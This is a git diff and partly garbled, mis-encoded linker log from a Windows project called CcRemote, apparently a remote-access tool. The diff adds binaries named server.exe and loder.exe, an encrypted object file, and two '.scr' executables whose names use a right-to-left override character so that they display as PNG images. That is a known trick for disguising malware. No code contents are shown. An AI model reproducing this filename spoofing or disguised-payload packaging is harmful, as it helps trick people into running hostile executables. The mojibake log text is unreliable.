PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(uncompr.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 +zlibstat.lib(zutil.obj) : warning LNK4099: 鏈壘鍒 PDB鈥渮libstat.pdb鈥(浣跨敤鈥渮libstat.lib(zutil.obj)鈥濇垨鍦ㄢ淕:\CcRemote\CcRemote\bin\zlibstat.pdb鈥濅腑瀵绘壘)锛涙鍦ㄩ摼鎺ュ璞★紝濡傚悓娌℃湁璋冭瘯淇℃伅涓鏍 + CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Debug/CcRemote.res b/CcRemote/CcRemote/Debug/CcRemote.res index d5e2480..b275b8f 100644 Binary files a/CcRemote/CcRemote/Debug/CcRemote.res and b/CcRemote/CcRemote/Debug/CcRemote.res differ diff --git a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate index c0e4c06..4f8bf97 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate +++ b/CcRemote/CcRemote/Debug/CcRemote.tlog/CcRemote.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|F:\myapp\CcRemote\CcRemote\| +Debug|Win32|G:\CcRemote\CcRemote\CcRemote\| diff --git a/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc b/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc new file mode 100644 index 0000000..448e995 Binary files /dev/null and b/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc differ diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe index 7e168be..709adc8 100644 Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ diff --git a/bin/server.exe b/bin/server.exe new file mode 100644 index 0000000..5d5899c Binary files /dev/null and b/bin/server.exe differ diff --git a/bin/server/loder.exe b/bin/server/loder.exe index 35549da..5d5899c 100644 Binary files a/bin/server/loder.exe and b/bin/server/loder.exe differ diff --git a/bin/server/sex鈥甮np.scr b/bin/server/sex鈥甮np.scr new file mode 100644 index 0000000..8d44e04 Binary files /dev/null and b/bin/server/sex鈥甮np.scr differ diff --git a/bin/sex鈥甮np.scr b/bin/sex鈥甮np.scr new file mode 100644 index 0000000..5d5899c Binary files /dev/null and b/bin/sex鈥甮np.scr differ